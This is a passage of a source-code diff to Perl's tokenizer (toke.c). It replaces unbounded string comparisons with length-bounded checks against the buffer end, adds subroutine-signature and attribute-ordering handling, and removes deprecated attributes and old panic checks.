 STATIC char *
@@ -4590,7 +4625,7 @@
 
     PERL_ARGS_ASSERT_FIND_IN_MY_STASH;
 
-    if (len == 11 && *pkgname == '_' && strEQ(pkgname, "__PACKAGE__"))
+    if (memEQs(pkgname, len, "__PACKAGE__"))
         return PL_curstash;
 
     if (len > 2
@@ -4619,6 +4654,7 @@
     PERL_ARGS_ASSERT_TOKENIZE_USE;
 
     if (PL_expect != XSTATE)
+	/* diag_listed_as: "use" not allowed in expression */
 	yyerror(Perl_form(aTHX_ "\"%s\" not allowed in expression",
 		    is_use ? "use" : "no"));
     PL_expect = XTERM;
@@ -4864,8 +4900,11 @@
 	    }
 	    else {
 		I32 tmp;
-                if (strnEQ(s, "L\\u", 3) || strnEQ(s, "U\\l", 3))
+                if (   memBEGINs(s, (STRLEN) (PL_bufend - s), "L\\u")
+                    || memBEGINs(s, (STRLEN) (PL_bufend - s), "U\\l"))
+                {
                     tmp = *s, *s = s[2], s[2] = (char)tmp;	/* misordered... */
+                }
 		if ((*s == 'L' || *s == 'U' || *s == 'F')
                     && (strpbrk(PL_lex_casestack, "LUF")))
                 {
@@ -4956,7 +4995,7 @@
 	return yylex();
 
     case LEX_INTERPENDMAYBE:
-	if (intuit_more(PL_bufptr)) {
+	if (intuit_more(PL_bufptr, PL_bufend)) {
 	    PL_lex_state = LEX_INTERPNORMAL;	/* false alarm, more expr */
 	    break;
 	}
@@ -5060,6 +5099,7 @@
 
 	return yylex();
     case LEX_FORMLINE:
+	assert(PL_lex_formbrack);
 	s = scan_formline(PL_bufptr);
 	if (!PL_lex_formbrack)
 	{
@@ -5110,15 +5150,46 @@
                 /* read var name, including sigil, into PL_tokenbuf */
                 PL_tokenbuf[0] = sigil;
                 parse_ident(&s, &dest, dest + sizeof(PL_tokenbuf) - 1,
-                    0, cBOOL(UTF), FALSE);
+                    0, cBOOL(UTF), FALSE, FALSE);
                 *dest = '\0';
                 assert(PL_tokenbuf[1]); /* we have a variable name */
+            }
+            else {
+                *PL_tokenbuf = 0;
+                PL_in_my = 0;
+            }
+
+            s = skipspace(s);
+            /* parse the = for the default ourselves to avoid '+=' etc being accepted here
+             * as the ASSIGNOP, and exclude other tokens that start with =
+             */
+            if (*s == '=' && (!s[1] || strchr("=~>", s[1]) == 0)) {
+                /* save now to report with the same context as we did when
+                 * all ASSIGNOPS were accepted */
+                PL_oldbufptr = s;
+
+                ++s;
+                NEXTVAL_NEXTTOKE.ival = 0;
+                force_next(ASSIGNOP);
+                PL_expect = XTERM;
+            }
+            else if (*s == ',' || *s == ')') {
+                PL_expect = XOPERATOR;
+            }
+            else {
+                /* make sure the context shows the unexpected character and
+                 * hopefully a bit more */
+                if (*s) ++s;
+                while (*s && *s != '$' && *s != '@' && *s != '%' && *s != ')')
+                    s++;
+                PL_bufptr = s; /* for error reporting */
+                yyerror("Illegal operator following parameter in a subroutine signature");
+                PL_in_my = 0;
+            }
+            if (*PL_tokenbuf) {
                 NEXTVAL_NEXTTOKE.ival = sigil;
                 force_next('p'); /* force a signature pending identifier */
             }
-            else
-                PL_in_my = 0;
-            PL_expect = XOPERATOR;
             break;
 
         case ')':
@@ -5164,12 +5235,23 @@
         else {
             c = Perl_form(aTHX_ "\\x%02X", (unsigned char)*s);
         }
-        len = UTF ? Perl_utf8_length(aTHX_ (U8 *) PL_linestart, (U8 *) s) : (STRLEN) (s - PL_linestart);
-        if (len > UNRECOGNIZED_PRECEDE_COUNT) {
-            d = UTF ? (char *) utf8_hop_back((U8 *) s, -UNRECOGNIZED_PRECEDE_COUNT, (U8 *)PL_linestart) : s - UNRECOGNIZED_PRECEDE_COUNT;
-        } else {
+
+        if (s >= PL_linestart) {
             d = PL_linestart;
         }
+        else {
+            /* somehow (probably due to a parse failure), PL_linestart has advanced
+             * pass PL_bufptr, get a reasonable beginning of line
+             */
+            d = s;
+            while (d > SvPVX(PL_linestr) && d[-1] && d[-1] != '\n')
+                --d;
+        }
+        len = UTF ? Perl_utf8_length(aTHX_ (U8 *) d, (U8 *) s) : (STRLEN) (s - d);
+        if (len > UNRECOGNIZED_PRECEDE_COUNT) {
+            d = UTF ? (char *) utf8_hop_back((U8 *) s, -UNRECOGNIZED_PRECEDE_COUNT, (U8 *)d) : s - UNRECOGNIZED_PRECEDE_COUNT;
+        }
+
         Perl_croak(aTHX_  "Unrecognized character %s; marked by <-- HERE after %" UTF8f "<-- HERE near column %d", c,
                           UTF8fARG(UTF, (s - d), d),
                          (int) len + 1);
@@ -5238,10 +5320,15 @@
 		    sv_catpvs(PL_linestr,"chomp;");
 		if (PL_minus_a) {
 		    if (PL_minus_F) {
-			if ((*PL_splitstr == '/' || *PL_splitstr == '\''
-			     || *PL_splitstr == '"')
-			      && strchr(PL_splitstr + 1, *PL_splitstr))
+                        if (   (   *PL_splitstr == '/'
+                                || *PL_splitstr == '\''
+                                || *PL_splitstr == '"')
+                            && strchr(PL_splitstr + 1, *PL_splitstr))
+                        {
+                            /* strchr is ok, because -F pattern can't contain
+                             * embeddded NULs */
 			    Perl_sv_catpvf(aTHX_ PL_linestr, "our @F=split(%s);", PL_splitstr);
+                        }
 			else {
 			    /* "q\0${splitstr}\0" is legal perl. Yes, even NUL
 			       bytes can be used as quoting characters.  :-) */
@@ -5290,10 +5377,10 @@
 	    /* If it looks like the start of a BOM or raw UTF-16,
 	     * check if it in fact is. */
 	    if (bof && PL_rsfp
-                && (*s == 0
+                && (   *s == 0
                     || *(U8*)s == BOM_UTF8_FIRST_BYTE
-                        || *(U8*)s >= 0xFE
-                        || s[1] == 0))
+                    || *(U8*)s >= 0xFE
+                    || s[1] == 0))
             {
 		Off_t offset = (IV)PerlIO_tell(PL_rsfp);
 		bof = (offset == (Off_t)SvCUR(PL_linestr));
@@ -5309,7 +5396,9 @@
 	    }
 	    if (PL_parser->in_pod) {
 		/* Incest with pod. */
-		if (*s == '=' && strEQs(s, "=cut") && !isALPHA(s[4])) {
+                if (    memBEGINPs(s, (STRLEN) (PL_bufend - s), "=cut")
+                    && !isALPHA(s[4]))
+                {
                     SvPVCLEAR(PL_linestr);
 		    PL_oldoldbufptr = PL_oldbufptr = s = PL_linestart = SvPVX(PL_linestr);
 		    PL_bufend = SvPVX(PL_linestr) + SvCUR(PL_linestr);
@@ -5318,7 +5407,7 @@
 		}
 	    }
 	    if (PL_rsfp || PL_parser->filtered)
-		incline(s);
+		incline(s, PL_bufend);
 	} while (PL_parser->in_pod);
 	PL_oldoldbufptr = PL_oldbufptr = PL_bufptr = PL_linestart = s;
 	PL_bufend = SvPVX(PL_linestr) + SvCUR(PL_linestr);
@@ -5543,7 +5632,7 @@
 	     && !PL_rsfp && !PL_parser->filtered) {
 		/* handle eval qq[#line 1 "foo"\n ...] */
 		CopLINE_dec(PL_curcop);
-		incline(s);
+		incline(s, PL_bufend);
 	    }
             d = s;
             while (d < PL_bufend && *d != '\n')
@@ -5550,10 +5639,6 @@
                 d++;
             if (d < PL_bufend)
                 d++;
-            else if (d > PL_bufend)
-                /* Found by Ilya: feed random input to Perl. */
-                Perl_croak(aTHX_ "panic: input overflow, %p > %p",
-                           d, PL_bufend);
             s = d;
             if (in_comment && d == PL_bufend
                 && PL_lex_state == LEX_INTERPNORMAL
@@ -5560,7 +5645,7 @@
                 && PL_lex_inwhat == OP_SUBST && PL_lex_repl == PL_linestr
                 && SvEVALED(PL_lex_repl) && d[-1] == '}') s--;
             else
-                incline(s);
+                incline(s, PL_bufend);
 	    if (PL_lex_formbrack && PL_lex_brackets <= PL_lex_formbrack) {
 		PL_lex_state = LEX_FORMLINE;
 		force_next(FORMRBRACK);
@@ -5574,11 +5659,8 @@
                 {
                     s++;
                     if (s < PL_bufend)
-                        incline(s);
+                        incline(s, PL_bufend);
                 }
-            else if (s > PL_bufend)
-                /* Found by Ilya: feed random input to Perl. */
-                Perl_croak(aTHX_ "panic: input overflow");
 	}
 	goto retry;
     case '-':
@@ -5593,7 +5675,7 @@
 	    while (s < PL_bufend && SPACE_OR_TAB(*s))
 		s++;
 
-	    if (strEQs(s,"=>")) {
+	    if (memBEGINs(s, (STRLEN) (PL_bufend - s), "=>")) {
 		s = force_word(PL_bufptr,BAREWORD,FALSE,FALSE);
 		DEBUG_T( { printbuf("### Saw unary minus before =>, forcing word %s\n", s); } );
 		OPERATOR('-');		/* unary minus */
@@ -5778,7 +5860,8 @@
 	if (!PL_tokenbuf[1]) {
 	    PREREF('%');
 	}
-	if ((PL_expect != XREF || PL_oldoldbufptr == PL_last_lop) && intuit_more(s)) {
+        if (   (PL_expect != XREF || PL_oldoldbufptr == PL_last_lop)
+            && intuit_more(s, PL_bufend)) {
 	    if (*s == '[')
 		PL_tokenbuf[0] = '@';
 	}
@@ -5856,9 +5939,17 @@
 	case XATTRTERM:
 	    PL_expect = XTERMBLOCK;
 	 grabattrs:
+            /* NB: as well as parsing normal attributes, we also end up
+             * here if there is something looking like attributes
+             * following a signature (which is illegal, but used to be
+             * legal in 5.20..5.26). If the latter, we still parse the
+             * attributes so that error messages(s) are less confusing,
+             * but ignore them (parser->sig_seen).
+             */
 	    s = skipspace(s);
 	    attrs = NULL;
             while (isIDFIRST_lazy_if_safe(s, PL_bufend, UTF)) {
+                bool sig = PL_parser->sig_seen;
 		I32 tmp;
 		SV *sv;
 		d = scan_word(s, PL_tokenbuf, sizeof PL_tokenbuf, FALSE, &len);
@@ -5897,43 +5988,31 @@
 		    PL_lex_stuff = NULL;
 		}
 		else {
-		    if (len == 6 && strnEQ(SvPVX(sv), "unique", len)) {
-			sv_free(sv);
-			if (PL_in_my == KEY_our) {
-                            deprecate_disappears_in("5.28",
-                                "Attribute \"unique\" is deprecated");
-			}
-			else
-			    Perl_croak(aTHX_ "The 'unique' attribute may only be applied to 'our' variables");
-		    }
-
 		    /* NOTE: any CV attrs applied here need to be part of
 		       the CVf_BUILTIN_ATTRS define in cv.h! */
-		    else if (!PL_in_my && len == 6 && strnEQ(SvPVX(sv), "lvalue", len)) {
+		    if (!PL_in_my && memEQs(SvPVX(sv), len, "lvalue")) {
 			sv_free(sv);
-			CvLVALUE_on(PL_compcv);
+			if (!sig)
+                            CvLVALUE_on(PL_compcv);
 		    }
-		    else if (!PL_in_my && len == 6 && strnEQ(SvPVX(sv), "locked", len)) {
+		    else if (!PL_in_my && memEQs(SvPVX(sv), len, "method")) {
 			sv_free(sv);
-                        deprecate_disappears_in("5.28",
-                            "Attribute \"locked\" is deprecated");
+			if (!sig)
+                            CvMETHOD_on(PL_compcv);
 		    }
-		    else if (!PL_in_my && len == 6 && strnEQ(SvPVX(sv), "method", len)) {
-			sv_free(sv);
-			CvMETHOD_on(PL_compcv);
-		    }
-		    else if (!PL_in_my && len == 5
-			  && strnEQ(SvPVX(sv), "const", len))
+		    else if (!PL_in_my && memEQs(SvPVX(sv), len, "const"))
 		    {
 			sv_free(sv);
-			Perl_ck_warner_d(aTHX_
-			    packWARN(WARN_EXPERIMENTAL__CONST_ATTR),
-			   ":const is experimental"
-			);
-			CvANONCONST_on(PL_compcv);
-			if (!CvANON(PL_compcv))
-			    yyerror(":const is not permitted on named "
-				    "subroutines");
+                        if (!sig) {
+                            Perl_ck_warner_d(aTHX_
+                                packWARN(WARN_EXPERIMENTAL__CONST_ATTR),
+                               ":const is experimental"
+                            );
+                            CvANONCONST_on(PL_compcv);
+                            if (!CvANON(PL_compcv))
+                                yyerror(":const is not permitted on named "
+                                        "subroutines");
+                        }
 		    }
 		    /* After we've set the flags, it could be argued that
 		       we don't need to do the attributes.pm-based setting
@@ -5986,6 +6065,14 @@
 		}
 	    }
 	got_attrs:
+            if (PL_parser->sig_seen) {
+                /* see comment about about sig_seen and parser error
+                 * handling */
+                if (attrs)
+                    op_free(attrs);
+                Perl_croak(aTHX_ "Subroutine attributes must come "
+                                 "before the signature");
+                }
 	    if (attrs) {
 		NEXTVAL_NEXTTOKE.opval = attrs;
 		force_next(THING);
@@ -6220,9 +6307,11 @@
 			PL_expect = XTERM;
 			break;
 		    }
-		    if (strEQs(s, "sub")) {
+		    if (memBEGINs(s, (STRLEN) (PL_bufend - s), "sub")) {
+                        PL_bufptr = s;
 			d = s + 3;
 			d = skipspace(d);
+                        s = PL_bufptr;
 			if (*d == ':') {
 			    PL_expect = XTERM;
 			    break;
@@ -6244,6 +6333,7 @@
 	if (PL_lex_brackets && PL_lex_brackstack[PL_lex_brackets-1] == XFAKEEOF)
 	    TOKEN(0);
       rightbracket:
+	assert(s != PL_bufend);
 	s++;
 	if (PL_lex_brackets <= 0)
 	    /* diag_listed_as: Unmatched right %s bracket */
@@ -6274,7 +6364,7 @@
 	    return yylex();		/* ignore fake brackets */
 	}
 	force_next(formbrack ? '.' : '}');
-	if (formbrack) LEAVE;
+	if (formbrack) LEAVE_with_name("lex_format");
 	if (formbrack == 2) { /* means . where arguments were expected */
 	    force_next(';');
 	    TOKEN(FORMRBRACK);
@@ -6353,7 +6443,9 @@
 	{
 	    const char tmp = *s++;
 	    if (tmp == '=') {
-	        if ((s == PL_linestart+2 || s[-3] == '\n') && strEQs(s, "=====")) {
+                if (   (s == PL_linestart+2 || s[-3] == '\n')
+                    && memBEGINs(s, (STRLEN) (PL_bufend - s), "====="))
+                {
 	            s = vcs_conflict_marker(s + 5);
 	            goto retry;
 	        }
@@ -6385,19 +6477,21 @@
                 && isALPHA(tmp)
                 && (s == PL_linestart+1 || s[-2] == '\n') )
             {
-                if ((PL_in_eval && !PL_rsfp && !PL_parser->filtered)
-                    || PL_lex_state != LEX_NORMAL) {
+                if (   (PL_in_eval && !PL_rsfp && !PL_parser->filtered)
+                    || PL_lex_state != LEX_NORMAL)
+                {
                     d = PL_bufend;
                     while (s < d) {
                         if (*s++ == '\n') {
-                            incline(s);
-                            if (strEQs(s,"=cut")) {
-                                s = strchr(s,'\n');
+                            incline(s, PL_bufend);
+                            if (memBEGINs(s, (STRLEN) (PL_bufend - s), "=cut"))
+                            {
+                                s = (char *) memchr(s,'\n', d - s);
                                 if (s)
                                     s++;
                                 else
                                     s = d;
-                                incline(s);
+                                incline(s, PL_bufend);
                                 goto retry;
                             }
                         }
@@ -6419,7 +6513,7 @@
 		t++;
 	    if (*t == '\n' || *t == '#') {
 		formbrack = 1;
-		ENTER;
+		ENTER_with_name("lex_format");
 		SAVEI8(PL_parser->form_lex_state);
 		SAVEI32(PL_lex_formbrack);
 		PL_parser->form_lex_state = PL_lex_state;
@@ -6469,10 +6563,12 @@
 	OPERATOR('!');
     case '<':
 	if (PL_expect != XOPERATOR) {
-	    if (s[1] != '<' && !strchr(s,'>'))
+	    if (s[1] != '<' && !memchr(s,'>', PL_bufend - s))
 		check_uni();
 	    if (s[1] == '<' && s[2] != '>') {
-	        if ((s == PL_linestart || s[-1] == '\n') && strEQs(s+2, "<<<<<")) {
+                if (   (s == PL_linestart || s[-1] == '\n')
+                    && memBEGINs(s+2, (STRLEN) (PL_bufend - (s+2)), "<<<<<"))
+                {
 	            s = vcs_conflict_marker(s + 7);
 	            goto retry;
 	        }
@@ -6487,7 +6583,9 @@
 	{
 	    char tmp = *s++;
 	    if (tmp == '<') {
-	        if ((s == PL_linestart+2 || s[-3] == '\n') && strEQs(s, "<<<<<")) {
+                if (   (s == PL_linestart+2 || s[-3] == '\n')
+                    && memBEGINs(s, (STRLEN) (PL_bufend - s), "<<<<<"))
+                {
                     s = vcs_conflict_marker(s + 5);
 	            goto retry;
 	        }
@@ -6531,7 +6629,9 @@
 	{
 	    const char tmp = *s++;
 	    if (tmp == '>') {
-	        if ((s == PL_linestart+2 || s[-3] == '\n') && strEQs(s, ">>>>>")) {
+	        if (   (s == PL_linestart+2 || s[-3] == '\n')
+                    && memBEGINs(s, (STRLEN) (PL_bufend - s), ">>>>>"))
+                {
 	            s = vcs_conflict_marker(s + 5);
 	            goto retry;
 	        }
@@ -6563,12 +6663,7 @@
     case '$':
 	CLINE;
 
-	if (PL_expect == XOPERATOR) {
-	    if (PL_lex_formbrack && PL_lex_brackets == PL_lex_formbrack) {
-		return deprecate_commaless_var_list();
-	    }
-	}
-	else if (PL_expect == XPOSTDEREF) {
+        if (PL_expect == XPOSTDEREF) {
 	    if (s[1] == '#') {
 		s++;
 		POSTDEREF(DOLSHARP);
@@ -6620,8 +6715,8 @@
 	    if (PL_lex_state == LEX_NORMAL || PL_lex_brackets)
 		s = skipspace(s);
 
-	    if ((PL_expect != XREF || PL_oldoldbufptr == PL_last_lop)
-		&& intuit_more(s)) {
+	    if (   (PL_expect != XREF || PL_oldoldbufptr == PL_last_lop)
+		&& intuit_more(s, PL_bufend)) {
 		if (*s == '[') {
 		    PL_tokenbuf[0] = '@';
 		    if (ckWARN(WARN_SYNTAX)) {
@@ -6646,30 +6741,32 @@
 		else if (*s == '{') {
 		    char *t;
 		    PL_tokenbuf[0] = '%';
-		    if (strEQ(PL_tokenbuf+1, "SIG")  && ckWARN(WARN_SYNTAX)
-			&& (t = strchr(s, '}')) && (t = strchr(t, '=')))
-			{
-			    char tmpbuf[sizeof PL_tokenbuf];
-			    do {
-				t++;
-			    } while (isSPACE(*t));
-		            if (isIDFIRST_lazy_if_safe(t, PL_bufend, UTF)) {
-				STRLEN len;
-				t = scan_word(t, tmpbuf, sizeof tmpbuf, TRUE,
-					      &len);
-				while (isSPACE(*t))
-				    t++;
-                                if (  *t == ';'
-                                    && get_cvn_flags(tmpbuf, len, UTF
-                                                                  ? SVf_UTF8
-                                                                  : 0))
-                                {
-				    Perl_warner(aTHX_ packWARN(WARN_SYNTAX),
-					"You need to quote \"%" UTF8f "\"",
-					 UTF8fARG(UTF, len, tmpbuf));
-                                }
-			    }
-			}
+                    if (    strEQ(PL_tokenbuf+1, "SIG")
+                        && ckWARN(WARN_SYNTAX)
+                        && (t = (char *) memchr(s, '}', PL_bufend - s))
+                        && (t = (char *) memchr(t, '=', PL_bufend - t)))
+                    {
+                        char tmpbuf[sizeof PL_tokenbuf];
+                        do {
+                            t++;
+                        } while (isSPACE(*t));
+                        if (isIDFIRST_lazy_if_safe(t, PL_bufend, UTF)) {
+                            STRLEN len;
+                            t = scan_word(t, tmpbuf, sizeof tmpbuf, TRUE,
+                                            &len);
+                            while (isSPACE(*t))
+                                t++;
+                            if (  *t == ';'
+                                && get_cvn_flags(tmpbuf, len, UTF
+                                                                ? SVf_UTF8
+                                                                : 0))
+                            {
+                                Perl_warner(aTHX_ packWARN(WARN_SYNTAX),
+                                    "You need to quote \"%" UTF8f "\"",
+                                        UTF8fARG(UTF, len, tmpbuf));
+                            }
+                        }
+                    }
 		}
 	    }
 
@@ -6749,7 +6846,9 @@
 	}
 	if (PL_lex_state == LEX_NORMAL)
 	    s = skipspace(s);
-	if ((PL_expect != XREF || PL_oldoldbufptr == PL_last_lop) && intuit_more(s)) {
+	if (   (PL_expect != XREF || PL_oldoldbufptr == PL_last_lop)
+            && intuit_more(s, PL_bufend))
+        {
 	    if (*s == '{')
 		PL_tokenbuf[0] = '%';
 
@@ -6858,13 +6957,9 @@
 	TERM(THING);
 
     case '\'':
-	if (   PL_expect == XOPERATOR
-	    && (PL_lex_formbrack && PL_lex_brackets == PL_lex_formbrack))
-		return deprecate_commaless_var_list();
-
 	s = scan_str(s,FALSE,FALSE,FALSE,NULL);
 	if (!s)
-	    missingterm(NULL);
+	    missingterm(NULL, 0);
 	COPLINE_SET_FROM_MULTI_END;
 	DEBUG_T( { printbuf("### Saw string before %s\n", s); } );
 	if (PL_expect == XOPERATOR) {
@@ -6874,10 +6969,6 @@
 	TERM(sublex_start());
 
     case '"':
-	if (   PL_expect == XOPERATOR
-	    && (PL_lex_formbrack && PL_lex_brackets == PL_lex_formbrack))
-		return deprecate_commaless_var_list();
-
 	s = scan_str(s,FALSE,FALSE,FALSE,NULL);
 	DEBUG_T( {
 	    if (s)
@@ -6890,7 +6981,7 @@
 		no_op("String",s);
 	}
 	if (!s)
-	    missingterm(NULL);
+	    missingterm(NULL, 0);
 	pl_yylval.ival = OP_CONST;
 	/* FIXME. I think that this can be const if char *d is replaced by
 	   more localised variables.  */
@@ -6916,7 +7007,7 @@
 	if (PL_expect == XOPERATOR)
 	    no_op("Backticks",s);
 	if (!s)
-	    missingterm(NULL);
+	    missingterm(NULL, 0);
 	pl_yylval.ival = OP_BACKTICK;
 	TERM(sublex_start());
 
@@ -7021,7 +7112,7 @@
 
 	/* x::* is just a word, unless x is "CORE" */
 	if (!anydelim && *s == ':' && s[1] == ':') {
-	    if (strEQ(PL_tokenbuf, "CORE")) goto case_KEY_CORE;
+	    if (memEQs(PL_tokenbuf, len, "CORE")) goto case_KEY_CORE;
 	    goto just_a_word;
 	}
 
@@ -7203,12 +7294,26 @@
 		orig_keyword = 0;
 		lex = 0;
 		off = 0;
+            /* FALLTHROUGH */
 	default:			/* not a keyword */
 	  just_a_word: {
 		int pkgname = 0;
 		const char lastchar = (PL_bufptr == PL_oldoldbufptr ? 0 : PL_bufptr[-1]);
 		bool safebw;
+		bool no_op_error = FALSE;
 
+		if (PL_expect == XOPERATOR) {
+		    if (PL_bufptr == PL_linestart) {
+			CopLINE_dec(PL_curcop);
+			Perl_warner(aTHX_ packWARN(WARN_SEMICOLON), "%s", PL_warn_nosemi);
+			CopLINE_inc(PL_curcop);
+		    }
+		    else
+			/* We want to call no_op with s pointing after the
+			   bareword, so defer it.  But we want it to come
+			   before the Bad name croak.  */
+			no_op_error = TRUE;
+		}
 
 		/* Get the rest if it looks like a package qualifier */
 
@@ -7216,6 +7321,10 @@
 		    STRLEN morelen;
 		    s = scan_word(s, PL_tokenbuf + len, sizeof PL_tokenbuf - len,
 				  TRUE, &morelen);
+		    if (no_op_error) {
+			no_op("Bareword",s);
+			no_op_error = FALSE;
+		    }
 		    if (!morelen)
 			Perl_croak(aTHX_ "Bad name after %" UTF8f "%s",
 				UTF8fARG(UTF, len, PL_tokenbuf),
@@ -7224,15 +7333,8 @@
 		    pkgname = 1;
 		}
 
-		if (PL_expect == XOPERATOR) {
-		    if (PL_bufptr == PL_linestart) {
-			CopLINE_dec(PL_curcop);
-			Perl_warner(aTHX_ packWARN(WARN_SEMICOLON), "%s", PL_warn_nosemi);
-			CopLINE_inc(PL_curcop);
-		    }
-		    else
+		if (no_op_error)
 			no_op("Bareword",s);
-		}
 
 		/* See if the name is "Foo::",
 		   in which case Foo is a bareword
@@ -7543,10 +7645,10 @@
 			    if (!*d && !gv_stashpv(PL_tokenbuf, UTF ? SVf_UTF8 : 0))
                             {
                                 /* PL_warn_reserved is constant */
-                                GCC_DIAG_IGNORE(-Wformat-nonliteral);
+                                GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral);
 				Perl_warner(aTHX_ packWARN(WARN_RESERVED), PL_warn_reserved,
 				       PL_tokenbuf);
-                                GCC_DIAG_RESTORE;
+                                GCC_DIAG_RESTORE_STMT;
                             }
 			}
 		    }
@@ -7601,14 +7703,6 @@
 		if (!GvIO(gv))
 		    GvIOp(gv) = newIO();
 		IoIFP(GvIOp(gv)) = PL_rsfp;
-#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC)
-		{
-		    const int fd = PerlIO_fileno(PL_rsfp);
-                    if (fd >= 3) {
-                        fcntl(fd,F_SETFD, FD_CLOEXEC);
-                    }
-		}
-#endif
 		/* Mark this internal pseudo-handle as clean */
 		IoFLAGS(GvIOp(gv)) |= IOf_UNTAINT;
 		if ((PerlIO*)PL_rsfp == PerlIO_stdin())
@@ -7793,7 +7887,7 @@
 		*PL_tokenbuf = '&';
 		d = scan_word(s, PL_tokenbuf + 1, sizeof PL_tokenbuf - 1,
 			      1, &len);
-		if (len && (len != 4 || strNE(PL_tokenbuf+1, "CORE"))
+		if (len && memNEs(PL_tokenbuf+1, len, "CORE")
 		 && !keyword(PL_tokenbuf + 1, len, 0)) {
                     SSize_t off = s-SvPVX(PL_linestr);
 		    d = skipspace(d);
@@ -7913,14 +8007,17 @@
 		char *p = s;
                 SSize_t s_off = s - SvPVX(PL_linestr);
 
-		if ((PL_bufend - p) >= 3
-                    && strEQs(p, "my") && isSPACE(*(p + 2)))
+                if (   memBEGINPs(p, (STRLEN) (PL_bufend - p), "my")
+                    && isSPACE(*(p + 2)))
                 {
-		    p += 2;
+                    p += 2;
                 }
-		else if ((PL_bufend - p) >= 4
-                         && strEQs(p, "our") && isSPACE(*(p + 3)))
-		    p += 3;
+                else if (   memBEGINPs(p, (STRLEN) (PL_bufend - p), "our")
+                         && isSPACE(*(p + 3)))
+                {
+                    p += 3;
+                }
+
 		p = skipspace(p);
                 /* skip optional package name, as in "for my abc $x (..)" */
 	        if (isIDFIRST_lazy_if_safe(p, PL_bufend, UTF)) {
@@ -8171,7 +8268,7 @@
 	    s = skipspace(s);
             if (isIDFIRST_lazy_if_safe(s, PL_bufend, UTF)) {
 		s = scan_word(s, PL_tokenbuf, sizeof PL_tokenbuf, TRUE, &len);
-		if (len == 3 && strEQs(PL_tokenbuf, "sub"))
+		if (memEQs(PL_tokenbuf, len, "sub"))
 		    goto really_sub;
 		PL_in_my_stash = find_in_my_stash(PL_tokenbuf, len);
 		if (!PL_in_my_stash) {
@@ -8288,7 +8385,7 @@
 	case KEY_q:
 	    s = scan_str(s,FALSE,FALSE,FALSE,NULL);
 	    if (!s)
-		missingterm(NULL);
+		missingterm(NULL, 0);
 	    COPLINE_SET_FROM_MULTI_END;
 	    pl_yylval.ival = OP_CONST;
 	    TERM(sublex_start());
@@ -8300,7 +8397,7 @@
 	    OP *words = NULL;
 	    s = scan_str(s,FALSE,FALSE,FALSE,NULL);
 	    if (!s)
-		missingterm(NULL);
+		missingterm(NULL, 0);
 	    COPLINE_SET_FROM_MULTI_END;
 	    PL_expect = XOPERATOR;
 	    if (SvCUR(PL_lex_stuff)) {
@@ -8349,7 +8446,7 @@
 	case KEY_qq:
 	    s = scan_str(s,FALSE,FALSE,FALSE,NULL);
 	    if (!s)
-		missingterm(NULL);
+		missingterm(NULL, 0);
 	    pl_yylval.ival = OP_STRINGIFY;
 	    if (SvIVX(PL_lex_stuff) == '\'')
 		SvIV_set(PL_lex_stuff, 0);	/* qq'$foo' should interpolate */
@@ -8362,7 +8459,7 @@
 	case KEY_qx:
 	    s = scan_str(s,FALSE,FALSE,FALSE,NULL);
 	    if (!s)
-		missingterm(NULL);
+		missingterm(NULL, 0);
 	    pl_yylval.ival = OP_BACKTICK;
 	    TERM(sublex_start());
 
@@ -8578,22 +8675,24 @@
 	  really_sub:
 	    {
 		char * const tmpbuf = PL_tokenbuf + 1;
-		expectation attrful;
 		bool have_name, have_proto;
 		const int key = tmp;
                 SV *format_name = NULL;
+                bool is_sigsub = FEATURE_SIGNATURES_IS_ENABLED;
 
                 SSize_t off = s-SvPVX(PL_linestr);
 		s = skipspace(s);
                 d = SvPVX(PL_linestr)+off;
 
+                SAVEBOOL(PL_parser->sig_seen);
+                PL_parser->sig_seen = FALSE;
+
                 if (   isIDFIRST_lazy_if_safe(s, PL_bufend, UTF)
                     || *s == '\''
                     || (*s == ':' && s[1] == ':'))
 		{
 
-		    PL_expect = XBLOCK;
-		    attrful = XATTRBLOCK;
+		    PL_expect = XATTRBLOCK;
 		    d = scan_word(s, tmpbuf, sizeof PL_tokenbuf - 1, TRUE,
 				  &len);
                     if (key == KEY_format)
@@ -8624,8 +8723,7 @@
 			Perl_croak(aTHX_
 				  "Missing name in \"%s\"", PL_bufptr);
 		    }
-		    PL_expect = XTERMBLOCK;
-		    attrful = XATTRTERM;
+		    PL_expect = XATTRTERM;
 		    sv_setpvs(PL_subname,"?");
 		    have_name = FALSE;
 		}
@@ -8641,12 +8739,13 @@
 		}
 
 		/* Look for a prototype */
-		if (*s == '(' && !FEATURE_SIGNATURES_IS_ENABLED) {
+		if (*s == '(' && !is_sigsub) {
 		    s = scan_str(s,FALSE,FALSE,FALSE,NULL);
 		    COPLINE_SET_FROM_MULTI_END;
 		    if (!s)
 			Perl_croak(aTHX_ "Prototype not terminated");
-		    (void)validate_proto(PL_subname, PL_lex_stuff, ckWARN(WARN_ILLEGALPROTO));
+		    (void)validate_proto(PL_subname, PL_lex_stuff,
+					 ckWARN(WARN_ILLEGALPROTO), 0);
 		    have_proto = TRUE;
 
 		    s = skipspace(s);
@@ -8654,9 +8753,9 @@
 		else
 		    have_proto = FALSE;
 
-		if (*s == ':' && s[1] != ':')
-		    PL_expect = attrful;
-		else if ((*s != '{' && *s != '(') && key != KEY_format) {
+		if (  !(*s == ':' && s[1] != ':')
+                    && (*s != '{' && *s != '(') && key != KEY_format)
+                {
                     assert(key == KEY_sub || key == KEY_AUTOLOAD ||
                            key == KEY_DESTROY || key == KEY_BEGIN ||
                            key == KEY_UNITCHECK || key == KEY_CHECK ||
@@ -8680,10 +8779,16 @@
 			sv_setpvs(PL_subname, "__ANON__");
 		    else
 			sv_setpvs(PL_subname, "__ANON__::__ANON__");
-		    TOKEN(ANONSUB);
+                    if (is_sigsub)
+                        TOKEN(ANON_SIGSUB);
+                    else
+                        TOKEN(ANONSUB);
 		}
 		force_ident_maybe_lex('&');
-		TOKEN(SUB);
+                if (is_sigsub)
+                    TOKEN(SIGSUB);
+                else
+                    TOKEN(SUB);
 	    }
 
 	case KEY_system:
@@ -8871,6 +8976,7 @@
 
     DEBUG_T({ PerlIO_printf(Perl_debug_log,
           "### Pending identifier '%s'\n", PL_tokenbuf); });
+    assert(tokenbuf_len >= 2);
 
     /* if we're in a my(), we can't allow dynamics here.
        $foo'bar has already been turned into $foo::bar, so
@@ -8881,8 +8987,11 @@
     if (PL_in_my) {
         if (PL_in_my == KEY_our) {	/* "our" is merely analogous to "my" */
             if (has_colon)
+                /* diag_listed_as: No package name allowed for variable %s
+                                   in "our" */
                 yyerror_pv(Perl_form(aTHX_ "No package name allowed for "
